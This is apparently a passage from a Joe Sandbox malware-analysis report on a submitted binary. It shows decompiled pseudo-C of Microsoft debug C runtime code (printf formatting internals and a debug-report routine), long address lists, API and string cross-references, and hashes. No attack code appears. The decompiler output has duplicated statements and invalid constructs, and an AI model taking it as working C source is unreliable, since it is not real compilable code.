																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	__eax = E00420C00(__ebp + 0x14);
																	__edx = 0;
																	__eflags = 0;
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = 0;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00420C00(__ebp + 0x14);
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = __edx;
																}
															} else {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	E00420C00(__ebp + 0x14) = __ax & 0x0000ffff;
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																	 *(__ebp - 0x49c) = __edx;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00420C00(__ebp + 0x14);
																	__ax = __eax;
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = __edx;
																}
															}
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x4a0) = E00420C20(__ebp + 0x14);
															 *(__ebp - 0x49c) = __edx;
														}
													} else {
														__ecx = __ebp + 0x14;
														 *(__ebp - 0x4a0) = E00420C20(__ebp + 0x14);
														 *(__ebp - 0x49c) = __edx;
													}
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) == 0) {
														L167:
														__ecx =  *(__ebp - 0x4a0);
														 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
														__edx =  *(__ebp - 0x49c);
														 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
														goto L168;
													} else {
														L163:
														__eflags =  *(__ebp - 0x49c);
														if(__eflags > 0) {
															goto L167;
														}
														L164:
														if(__eflags < 0) {
															L166:
															 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
															__edx =  *(__ebp - 0x49c);
															asm("adc edx, 0x0");
															__edx =  ~( *(__ebp - 0x49c));
															 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
															 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															L168:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
															__eflags =  *(__ebp - 0x10) & 0x00008000;
															if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																__eflags =  *(__ebp - 0x10) & 0x00001000;
																if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																	__edx =  *(__ebp - 0x4a8);
																	__eax =  *(__ebp - 0x4a4);
																	__eax =  *(__ebp - 0x4a4) & 0x00000000;
																	__eflags = __eax;
																	 *(__ebp - 0x4a4) = __eax;
																}
															}
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) >= 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																__eflags =  *(__ebp - 0x30) - 0x200;
																if( *(__ebp - 0x30) > 0x200) {
																	 *(__ebp - 0x30) = 0x200;
																}
															} else {
																 *(__ebp - 0x30) = 1;
															}
															 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
															__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
															if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
																 *(__ebp - 0x1c) = 0;
															}
															__eax = __ebp - 0x249;
															 *(__ebp - 4) = __ebp - 0x249;
															while(1) {
																L178:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L180;
																}
																L179:
																 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
																__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
																if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
																	goto L183;
																}
																L180:
																__eax =  *(__ebp - 8);
																asm("cdq");
																__ecx =  *(__ebp - 0x4a4);
																__edx =  *(__ebp - 0x4a8);
																__eax = E0042F370( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
																 *(__ebp - 0x494) = __eax;
																__eax =  *(__ebp - 8);
																asm("cdq");
																__eax =  *(__ebp - 0x4a4);
																__ecx =  *(__ebp - 0x4a8);
																 *(__ebp - 0x4a8) = E0042F300( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
																 *(__ebp - 0x4a4) = __edx;
																__eflags =  *(__ebp - 0x494) - 0x39;
																if( *(__ebp - 0x494) > 0x39) {
																	__edx =  *(__ebp - 0x494);
																	__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
																	__eflags = __edx;
																	 *(__ebp - 0x494) = __edx;
																}
																__eax =  *(__ebp - 4);
																 *( *(__ebp - 4)) =  *(__ebp - 0x494);
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																L178:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L180;
																}
																goto L179;
															}
														}
														L165:
														__eflags =  *(__ebp - 0x4a0);
														if( *(__ebp - 0x4a0) >= 0) {
															goto L167;
														}
														goto L166;
													}
												case 0xe:
													while(1) {
														L187:
														if( *(_t600 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													}
											}
										case 8:
											L24:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000002;
											 *(__ebp - 0x10) = __ecx;
											goto L27;
										case 9:
											L25:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											goto L27;
										case 0xa:
											L23:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
											goto L27;
										case 0xb:
											L22:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											goto L27;
										case 0xc:
											L26:
											__eax =  *(__ebp - 0x10);
											__eax =  *(__ebp - 0x10) | 0x00000008;
											__eflags = __eax;
											 *(__ebp - 0x10) = __eax;
											goto L27;
										case 0xd:
											L27:
											goto L214;
									}
								} else {
									_t574 = 0;
									if(0 == 0) {
										 *(_t600 - 0x4dc) = 0;
									} else {
										 *(_t600 - 0x4dc) = 1;
									}
									 *(_t600 - 0x46c) =  *(_t600 - 0x4dc);
									if( *(_t600 - 0x46c) == 0) {
										_push(L"(\"Incorrect format specifier\", 0)");
										_push(0);
										_push(0x460);
										_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
										_push(2);
										_t501 = L0041F590();
										_t603 = _t603 + 0x14;
										if(_t501 == 1) {
											asm("int3");
										}
									}
									L14:
									if( *(_t600 - 0x46c) != 0) {
										goto L16;
									} else {
										 *((intOrPtr*)(L0041F530(_t546))) = 0x16;
										E0041F2C0(_t534, _t546, _t598, _t599, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
										 *(_t600 - 0x4c8) = 0xffffffff;
										E0041EA10(_t600 - 0x40);
										_t486 =  *(_t600 - 0x4c8);
										goto L225;
									}
								}
							}
							L215:
							if( *(_t600 - 0x45c) == 0) {
								L218:
								 *(_t600 - 0x4f8) = 1;
								L219:
								_t574 =  *(_t600 - 0x4f8);
								 *(_t600 - 0x4bc) =  *(_t600 - 0x4f8);
								if( *(_t600 - 0x4bc) == 0) {
									_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
									_push(0);
									_push(0x8f5);
									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
									_push(2);
									_t491 = L0041F590();
									_t603 = _t603 + 0x14;
									if(_t491 == 1) {
										asm("int3");
									}
								}
								if( *(_t600 - 0x4bc) != 0) {
									 *(_t600 - 0x4d4) =  *(_t600 - 0x44c);
									E0041EA10(_t600 - 0x40);
									_t486 =  *(_t600 - 0x4d4);
								} else {
									 *((intOrPtr*)(L0041F530(_t538))) = 0x16;
									E0041F2C0(_t534, _t538, _t598, _t599, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
									 *(_t600 - 0x4d0) = 0xffffffff;
									E0041EA10(_t600 - 0x40);
									_t486 =  *(_t600 - 0x4d0);
								}
								goto L225;
							}
							L216:
							if( *(_t600 - 0x45c) == 7) {
								goto L218;
							}
							L217:
							 *(_t600 - 0x4f8) = 0;
							goto L219;
						}
					} else {
						L113:
						 *((intOrPtr*)(L0041F530(__ecx))) = 0x16;
						__eax = E0041F2C0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
						 *(__ebp - 0x4cc) = 0xffffffff;
						__ecx = __ebp - 0x40;
						__eax = E0041EA10(__ecx);
						__eax =  *(__ebp - 0x4cc);
						L225:
						return E004242B0(_t486, _t534,  *(_t600 - 0x48) ^ _t600, _t574, _t598, _t599);
					}
					L115:
					if(( *(_t600 - 0x10) & 0x00000020) == 0) {
						 *( *(_t600 - 0x484)) =  *(_t600 - 0x44c);
					} else {
						 *( *(_t600 - 0x484)) =  *(_t600 - 0x44c);
					}
					 *(_t600 - 0x28) = 1;
					goto L187;
				}
			}

0x004214aa
0x004214aa
0x004214aa
0x004214ae
0x004214b3
0x004214b6
0x004214c3
0x00000000
0x00000000
0x004214c9
0x004214c9
0x004214cb
0x004214d9
0x004214cd
0x004214cd
0x004214cd
0x004214e3
0x004214e9
0x004214f6
0x004214f8
0x004214fd
0x004214ff
0x00421504
0x00421509
0x0042150b
0x00421510
0x00421516
0x00421518
0x00421518
0x00421516
0x00421520
0x00421568
0x00421a60
0x00421a60
0x00421a64
0x00000000
0x00000000
0x00421a6a
0x00421a70
0x00421a7a
0x00421a94
0x00421aae
0x00421ab5
0x00421ab9
0x00421ab9
0x00421a96
0x00421a9b
0x00421a9f
0x00421a9f
0x00421a7c
0x00421a81
0x00421a85
0x00421a85
0x00421a7a
0x00421ac9
0x00421ad5
0x00421aeb
0x00421af0
0x00421af0
0x00421b06
0x00421b0b
0x00421b14
0x00421b1c
0x00421b32
0x00421b37
0x00421b37
0x00421b1c
0x00421b3e
0x00421bf8
0x00421c0b
0x00421c10
0x00000000
0x00421b44
0x00421b44
0x00421b48
0x00000000
0x00000000
0x00421b4e
0x00421b51
0x00421b5a
0x00421b60
0x00421b60
0x00421b6f
0x00421b77
0x00000000
0x00000000
0x00421b79
0x00421b7c
0x00421ba1
0x00421ba6
0x00421ba9
0x00421bb6
0x00421bc4
0x00421bd7
0x00421bdc
0x00421beb
0x00000000
0x00421beb
0x00421bb8
0x00421bb8
0x00000000
0x00421bb8
0x00421bf6
0x00421c13
0x00421c1a
0x00421c22
0x00421c38
0x00421c3d
0x00421c3d
0x00421c22
0x00421c1a
0x00421c40
0x00421c44
0x00421c4c
0x00421c51
0x00421c54
0x00421c54
0x00421c5b
0x00421c5b
0x00420ddb
0x00420de2
0x00420def
0x00420df4
0x00000000
0x00420e07
0x00420e11
0x00420e38
0x00420e1f
0x00420e30
0x00420e30
0x00420e11
0x00420e42
0x00420e48
0x00420e54
0x00420e57
0x00420e65
0x00420e68
0x00420e75
0x00420f1a
0x00420f20
0x00420f2d
0x00000000
0x00000000
0x00420f33
0x00420f39
0x00000000
0x00420f40
0x00420f40
0x00420f5a
0x00420f5f
0x00000000
0x00000000
0x00420f67
0x00420f67
0x00420f6e
0x00420f71
0x00420f74
0x00420f77
0x00420f7a
0x00420f7d
0x00420f80
0x00420f87
0x00420f8e
0x00000000
0x00000000
0x00420f9a
0x00420f9a
0x00420fa1
0x00420fad
0x00420fb0
0x00420fb6
0x00420fbd
0x00000000
0x00000000
0x00420fbf
0x00420fc5
0x00420fc5
0x00420fcc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00421010
0x00421010
0x00421017
0x0042101a
0x00421044
0x00421047
0x00421047
0x00421051
0x00421051
0x00421055
0x0042101c
0x0042101c
0x00421028
0x0042102b
0x0042102f
0x00421031
0x00421034
0x00421034
0x00421037
0x0042103a
0x0042103d
0x0042103f
0x0042103f
0x00421042
0x00421058
0x00000000
0x00000000
0x0042105d
0x0042105d
0x00000000
0x00000000
0x00421069
0x00421069
0x00421070
0x00421073
0x00421093
0x00421096
0x00421096
0x004210a0
0x004210a0
0x004210a4
0x00421075
0x00421075
0x00421081
0x00421084
0x00421088
0x0042108a
0x0042108a
0x00421091
0x00000000
0x00000000
0x004210ac
0x004210ac
0x004210b3
0x004210bf
0x004210c2
0x004210c8
0x004210cf
0x004211e2
0x00000000
0x004211e2
0x004210d5
0x004210db
0x004210db
0x004210e2
0x00000000
0x00421119
0x00421119
0x0042111c
0x0042111f
0x00421122
0x00421149
0x00421149
0x0042114c
0x0042114f
0x00421152
0x00421176
0x00421176
0x00421179
0x0042117c
0x0042117f
0x004211b8
0x004211c9
0x00000000
0x004211c9
0x00421181
0x00421181
0x00421184
0x00421187
0x0042118a
0x00000000
0x00000000
0x0042118c
0x0042118c
0x0042118f
0x00421192
0x00421195
0x00000000
0x00000000
0x00421197
0x00421197
0x0042119a
0x0042119d
0x004211a0
0x00000000
0x00000000
0x004211a2
0x004211a2
0x004211a5
0x004211a8
0x004211ab
0x00000000
0x00000000
0x004211ad
0x004211ad
0x004211b0
0x004211b3
0x004211b6
0x004211ba
0x00000000
0x004211ba
0x00000000
0x004211b6
0x00421154
0x00421154
0x00421157
0x0042115b
0x0042115e
0x00000000
0x00421160
0x00421163
0x00421166
0x0042116c
0x00421171
0x00000000
0x00421171
0x0042115e
0x00421124
0x00421124
0x00421127
0x0042112b
0x0042112e
0x00000000
0x00421130
0x00421133
0x00421136
0x0042113c
0x00421141
0x00000000
0x00421141
0x00000000
0x004211cb
0x004211cb
0x004211ce
0x004211d1
0x00000000
0x00000000
0x004210e9
0x004210e9
0x004210ec
0x004210ef
0x004210f2
0x0042110b
0x0042110e
0x0042110e
0x00421111
0x004210f4
0x004210f4
0x004210f7
0x004210fa
0x00421100
0x00421106
0x00421106
0x00000000
0x00000000
0x004211d6
0x004211d6
0x004211d9
0x004211d9
0x004211df
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004211e7
0x004211e7
0x004211ee
0x004211f4
0x004211fa
0x004211fd
0x00421203
0x0042120a
0x00000000
0x00421a60
0x00421a60
0x00421a60
0x00421a60
0x00421a64
0x00000000
0x00000000
0x00000000
0x00421a64
0x00421a17
0x00421a1d
0x00421a20
0x00421a23
0x00421a26
0x00421a29
0x00421a2f
0x00421a2f
0x00421a2f
0x00421a37
0x00421a3b
0x00000000
0x00000000
0x00421a3d
0x00421a3d
0x00421a40
0x00421a43
0x00421a43
0x00421a48
0x00421a4b
0x00421a4e
0x00421a51
0x00421a54
0x00421a57
0x00421a5a
0x00421a5a
0x00421a5d
0x00421a60
0x00421a60
0x00421a64
0x00000000
0x00000000
0x00000000
0x00421a64
0x00421a60
0x00421210
0x00421216
0x00421216
0x0042121d
0x00000000
0x004215a1
0x004215a1
0x004215af
0x004215af
0x004215b2
0x00000000
0x00000000
0x00421224
0x00421227
0x00421227
0x0042122d
0x0042122f
0x00421232
0x00421232
0x00421235
0x00421235
0x00000000
0x00000000
0x0042136a
0x0042136d
0x0042136d
0x00421372
0x00421374
0x00421377
0x00421377
0x0042137a
0x0042137a
0x00000000
0x00000000
0x0042176d
0x0042176d
0x00000000
0x00000000
0x004212d4
0x004212d4
0x004212e0
0x004212e6
0x004212ed
0x004212fb
0x004212fb
0x00421301
0x00421304
0x00421310
0x00421365
0x00000000
0x00421365
0x004212ef
0x004212ef
0x004212f5
0x004212f9
0x00421318
0x00421318
0x0042131e
0x00421346
0x0042134d
0x00421353
0x00421356
0x00421359
0x0042135f
0x00421362
0x00421320
0x00421320
0x00421326
0x00421329
0x0042132c
0x00421332
0x00421335
0x00421338
0x0042133a
0x0042133d
0x0042133d
0x00000000
0x0042131e
0x00000000
0x00000000
0x004215b9
0x004215bc
0x004215bf
0x004215c2
0x004215c8
0x004215cb
0x004215d2
0x004215d6
0x004215e1
0x004215e1
0x004215e5
0x004215fc
0x004215fc
0x00421603
0x00421605
0x00421605
0x0042160c
0x0042160c
0x00421613
0x00421621
0x00421624
0x00421633
0x00421636
0x0042163a
0x0042164f
0x0042163c
0x0042163c
0x0042163f
0x00421645
0x0042164a
0x0042164a
0x0042163a
0x00421659
0x0042165c
0x0042165f
0x00421662
0x00421665
0x00421668
0x0042166e
0x00421674
0x0042167c
0x0042167d
0x00421680
0x00421681
0x00421684
0x00421685
0x0042168c
0x0042168d
0x00421690
0x00421691
0x00421694
0x00421695
0x0042169b
0x0042169c
0x004216ab
0x004216ad
0x004216b3
0x004216b3
0x004216b8
0x004216ba
0x004216be
0x004216c0
0x004216c8
0x004216c9
0x004216cc
0x004216cd
0x004216dc
0x004216de
0x004216de
0x004216be
0x004216e1
0x004216e8
0x004216eb
0x004216f0
0x004216f0
0x004216f6
0x004216f8
0x00421700
0x00421701
0x00421704
0x00421705
0x00421713
0x00421715
0x00421715
0x004216f6
0x00421718
0x0042171b
0x0042171e
0x00421721
0x00421726
0x0042172b
0x0042172e
0x00421731
0x00421731
0x00421734
0x00421734
0x00421737
0x00421743
0x00421a60
0x00421a60
0x00421a64
0x00000000
0x00000000
0x00000000
0x00421a64
0x00000000
0x00421a60
0x004215e7
0x004215e7
0x004215ee
0x004215f1
0x00000000
0x00000000
0x004215f3
0x004215f3
0x00000000
0x004215f3
0x004215d8
0x004215d8
0x00000000
0x00000000
0x00421238
0x00421238
0x00421243
0x0042124b
0x00421252
0x00421255
0x00421255
0x00421258
0x004212b8
0x0042125a
0x00421261
0x00421267
0x0042126d
0x00421274
0x00421277
0x0042127d
0x00421285
0x00421287
0x0042128e
0x00421295
0x0042129c
0x004212a4
0x004212a6
0x004212a8
0x004212a8
0x004212af
0x004212bf
0x004212c5
0x004212c8
0x00421a60
0x00421a60
0x00421a64
0x00000000
0x00000000
0x00000000
0x00421a64
0x00000000
0x0042174b
0x0042174e
0x00421751
0x00421754
0x00000000
0x00000000
0x00000000
0x00000000
0x004217b4
0x004217b4
0x004217be
0x004217be
0x004217c4
0x004217c6
0x004217c9
0x004217c9
0x004217cf
0x004217cf
0x00000000
0x00000000
0x00421766
0x00421766
0x00000000
0x00000000
0x0042137d
0x0042137d
0x00421381
0x0042138f
0x00421392
0x00421383
0x00421383
0x00421383
0x00421398
0x0042139e
0x004213a4
0x004213b0
0x004213b6
0x004213b6
0x004213b9
0x00421441
0x00421441
0x00421445
0x00421447
0x0042144d
0x0042144d
0x00421450
0x00421457
0x0042145a
0x00421460
0x00421460
0x00421460
0x00421466
0x0042146c
0x0042146f
0x00421475
0x00421477
0x00000000
0x00000000
0x00421479
0x00421479
0x0042147f
0x00421482
0x00421484
0x00000000
0x00000000
0x00421486
0x0042148c
0x0042148f
0x0042148f
0x00421497
0x00421497
0x0042149d
0x0042149d
0x004214a2
0x00000000
0x004213bf
0x004213bf
0x004213bf
0x004213c3
0x004213c5
0x004213ca
0x004213ca
0x004213cd
0x004213d0
0x004213d6
0x004213e8
0x004213e8
0x004213e8
0x004213eb
0x004213f1
0x00000000
0x00000000
0x004213f3
0x004213f3
0x004213f9
0x004213fc
0x004213fe
0x00000000
0x00000000
0x00421400
0x00421400
0x00421409
0x0042140f
0x00421413
0x0042141b
0x0042141d
0x0042141f
0x00421425
0x00421425
0x00421428
0x00421428
0x00421434
0x00421437
0x004213df
0x004213e2
0x004213e2
0x004213e5
0x004213e5
0x0042143f
0x004214a5
0x00421a60
0x00421a60
0x00421a64
0x00000000
0x00000000
0x00000000
0x00421a64
0x00421a60
0x00000000
0x0042175d
0x0042175d
0x00000000
0x00000000
0x00421779
0x00421779
0x00421783
0x00421783
0x0042178d
0x0042178d
0x00421793
0x00421795
0x0042179a
0x004217a4
0x004217a4
0x004217a7
0x004217ab
0x004217ab
0x004217d2
0x004217d5
0x004217d5
0x004217da
0x004217fc
0x004217fc
0x00421802
0x00421824
0x00421824
0x00421827
0x0042186e
0x0042186e
0x00421871
0x0042188e
0x00421892
0x0042189a
0x0042189a
0x0042189c
0x004218a2
0x00421873
0x00421873
0x00421877
0x0042187f
0x00421880
0x00421886
0x00421886
0x00421829
0x0042182c
0x0042182c
0x0042182f
0x0042184d
0x00421859
0x0042185c
0x0042185d
0x00421863
0x00421831
0x00421831
0x00421835
0x0042183d
0x0042183e
0x0042183f
0x00421845
0x00421845
0x00421869
0x00421804
0x00421804
0x00421810
0x00421816
0x00421816
0x004217dc
0x004217dc
0x004217e8
0x004217ee
0x004217ee
0x004218ab
0x004218ab
0x004218ae
0x004218f0
0x004218f0
0x004218f6
0x004218fc
0x00421902
0x00000000
0x004218b0
0x004218b0
0x004218b0
0x004218b7
0x00000000
0x00000000
0x004218b9
0x004218b9
0x004218c4
0x004218ca
0x004218cc
0x004218d2
0x004218d5
0x004218d7
0x004218dd
0x004218e6
0x004218eb
0x00421908
0x0042190b
0x0042190b
0x00421910
0x00421915
0x00421915
0x0042191b
0x0042191d
0x00421923
0x00421929
0x00421929
0x00421932
0x00421932
0x0042191b
0x00421938
0x0042193c
0x0042194a
0x0042194d
0x00421950
0x00421957
0x00421959
0x00421959
0x0042193e
0x0042193e
0x0042193e
0x00421966
0x00421966
0x0042196c
0x0042196e
0x0042196e
0x00421975
0x0042197b
0x0042197e
0x0042197e
0x0042197e
0x00421984
0x00421987
0x0042198a
0x0042198c
0x00000000
0x00000000
0x0042198e
0x00421994
0x00421994
0x0042199a
0x00000000
0x00000000
0x0042199c
0x0042199c
0x0042199f
0x004219a2
0x004219a9
0x004219b0
0x004219b8
0x004219be
0x004219c1
0x004219c4
0x004219cb
0x004219d7
0x004219dd
0x004219e3
0x004219ea
0x004219ec
0x004219f2
0x004219f2
0x004219f8
0x004219f8
0x004219fe
0x00421a07
0x00421a0c
0x00421a0f
0x0042197e
0x0042197e
0x00421984
0x00421987
0x0042198a
0x0042198c
0x00000000
0x00000000
0x00000000
0x0042198c
0x0042197e
0x004218bb
0x004218bb
0x004218c2
0x00000000
0x00000000
0x00000000
0x004218c2
0x00000000
0x00421a60
0x00421a60
0x00421a64
0x00000000
0x00000000
0x00000000
0x00421a64
0x00000000
0x00000000
0x00420fe9
0x00420fe9
0x00420fec
0x00420fef
0x00000000
0x00000000
0x00420ff4
0x00420ff7
0x00420ffd
0x00000000
0x00000000
0x00420fde
0x00420fe1
0x00420fe4
0x00000000
0x00000000
0x00420fd3
0x00420fd6
0x00420fd9
0x00000000
0x00000000
0x00421002
0x00421002
0x00421005
0x00421005
0x00421008
0x00000000
0x00000000
0x0042100b
0x00000000
0x00000000
0x00420e7b
0x00420e7b
0x00420e7d
0x00420e8b
0x00420e7f
0x00420e7f
0x00420e7f
0x00420e9b
0x00420ea8
0x00420eaa
0x00420eaf
0x00420eb1
0x00420eb6
0x00420ebb
0x00420ebd
0x00420ec2
0x00420ec8
0x00420eca
0x00420eca
0x00420ec8
0x00420ecb
0x00420ed2
0x00000000
0x00420ed4
0x00420ed9
0x00420ef5
0x00420efd
0x00420f0a
0x00420f0f
0x00000000
0x00420f0f
0x00420ed2
0x00420e75
0x00421c60
0x00421c67
0x00421c7e
0x00421c7e
0x00421c88
0x00421c88
0x00421c8e
0x00421c9b
0x00421c9d
0x00421ca2
0x00421ca4
0x00421ca9
0x00421cae
0x00421cb0
0x00421cb5
0x00421cbb
0x00421cbd
0x00421cbd
0x00421cbb
0x00421cc5
0x00421d10
0x00421d19
0x00421d1e
0x00421cc7
0x00421ccc
0x00421ce8
0x00421cf0
0x00421cfd
0x00421d02
0x00421d02
0x00000000
0x00421cc5
0x00421c69
0x00421c70
0x00000000
0x00000000
0x00421c72
0x00421c72
0x00000000
0x00421c72
0x00421522
0x00421522
0x00421527
0x00421543
0x0042154b
0x00421555
0x00421558
0x0042155d
0x00421d24
0x00421d31
0x00421d31
0x0042156d
0x00421573
0x00421593
0x00421575
0x00421582
0x00421582
0x00421595
0x00000000
0x00421595

APIs

_get_int_arg.LIBCMTD ref: 004214AE
__get_printf_count_output.LIBCMTD ref: 004214BC
__invalid_parameter.LIBCMTD ref: 00421543
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00421558
_write_multi_char.LIBCMTD ref: 00421AEB
_write_string.LIBCMTD ref: 00421B06
_write_multi_char.LIBCMTD ref: 00421B32
__mbtowc_l.LIBCMTD ref: 00421BA1

Strings

("'n' format specifier disabled", 0), xrefs: 004214F8, 0042153E
("Incorrect format specifier", 0), xrefs: 00420EAA, 00420EF0
_woutput_s_l, xrefs: 00420EEB, 00421539
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00420EB6, 00420EE6, 00421504, 00421534

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter__mbtowc_l_get_int_arg_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2386203720-1989478660
Opcode ID: fd93f6797a8d963783229bb4477949015d63409985293633c73db2f9b9da161b
Instruction ID: 88c4a11174e66ef8ad1550a4f4dad40de68b0d52f8fd26f4866718d9da407e6c
Opcode Fuzzy Hash: fd93f6797a8d963783229bb4477949015d63409985293633c73db2f9b9da161b
Instruction Fuzzy Hash: 53A1B3B4A002289BDF24CF45DC81BAEB7B4AF54304F5044DAE6096B292E7789EC4CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00428727, Relevance: 24.6, APIs: 5, Strings: 9, Instructions: 100
windowCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00428727() {
				intOrPtr _t36;
				intOrPtr* _t37;
				void* _t40;
				void* _t48;
				void* _t62;
				void* _t63;
				signed int _t64;
				void* _t66;
				void* _t67;

				 *(_t64 - 0x114c) = "...";
				if( *((intOrPtr*)(_t64 + 0x14)) == 0) {
					 *(_t64 - 0x1150) = 0x404d51;
				} else {
					 *(_t64 - 0x1150) = "\nModule: ";
				}
				_push( *((intOrPtr*)(_t64 - 0x1124)));
				_push( *((intOrPtr*)(_t64 - 0x1128)));
				_push( *((intOrPtr*)(_t64 - 0x112c)));
				_push( *((intOrPtr*)(_t64 - 0x1130)));
				_push( *((intOrPtr*)(_t64 - 0x1134)));
				_push( *((intOrPtr*)(_t64 - 0x1138)));
				_push( *((intOrPtr*)(_t64 - 0x113c)));
				_push( *((intOrPtr*)(_t64 - 0x1140)));
				_push( *((intOrPtr*)(_t64 - 0x1144)));
				_push( *(_t64 - 0x114c));
				_push( *(_t64 - 0x1150));
				_push( *((intOrPtr*)(_t64 - 8)));
				_t61 =  *(_t64 + 8);
				_t53 = _t64 - 0x1010;
				_t36 = E0042BF50(_t64 - 0x1010, _t64 - 0x1010, 0x1000, 0xfff, "Debug %s!\n\nProgram: %s%s%s%s%s%s%s%s%s%s%s%s\n\n(Press Retry to debug the application)",  *((intOrPtr*)(0x404bdc +  *(_t64 + 8) * 4)));
				_t67 = _t66 + 0x44;
				 *((intOrPtr*)(_t64 - 0xc)) = _t36;
				if( *((intOrPtr*)(_t64 - 0xc)) < 0) {
					_t61 =  *(L0041F530(_t53));
					E0041EF00( *(L0041F530(_t53)), 0x16, 0x22, L"(*_errno())", L"__crtMessageWindowA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrpt.c", 0x160, 0);
					_t67 = _t67 + 0x20;
				}
				_t37 = L0041F530(_t53);
				_t54 =  *((intOrPtr*)(_t64 - 0x1120));
				 *_t37 =  *((intOrPtr*)(_t64 - 0x1120));
